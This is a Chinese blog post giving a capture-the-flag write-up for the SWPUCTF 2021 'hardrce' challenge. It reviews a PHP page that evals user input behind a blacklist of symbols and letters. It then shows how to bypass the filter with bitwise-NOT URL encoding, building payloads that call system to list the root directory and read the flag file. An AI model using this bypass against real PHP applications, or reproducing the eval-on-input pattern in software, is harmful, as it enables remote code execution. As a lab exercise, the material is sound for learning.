NSSCTF [SWPUCTF 2021 新生赛]hardrce

进入题目界面看见一串代码,先进行代码审计

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
//对wllm内容进行限制,过滤掉一下的特殊字符
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT说不能用这些奇奇怪怪的符号哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) //进行正则匹配,过滤掉大小写字母 { die("Ra's Al Ghul说不能用字母哦!"); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; eval($wllm);//eval执行wllm,说明存在远程代码执行漏洞 } else { echo "蔡总说:注意审题!!!"; } ?>

通过对代码的分析,发现都是对与字母等特殊字符的限制,说明正常的绕过手段,双写,大小写,转义字符等都不能绕过,因为这些都需要字母,所以这里可以使用编码的方式来进行绕过。使用URL取反编码的方式,将我们需要执行的代码进行取反编码。取反是因为编码之后还会存在之母,而取反之后编码的数据将不再作为字母被识别。

取反符号 ' ~ '

 

<?php
echo urlencode(~'phpinfo');
?>

执行后得到这串数据:%8F%97%8F%96%91%99%90

构造playload·:/?wllm=(~%8F%97%8F%96%91%99%90)();

出现回显,代码执行成功,说明方法可行,下面就是构造需要执行的命令,并进行取反编码就好了。

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

 成拿到flag啦

 

posted @ 2024-08-15 12:14  karasbai  阅读(125)  评论(0)    收藏  举报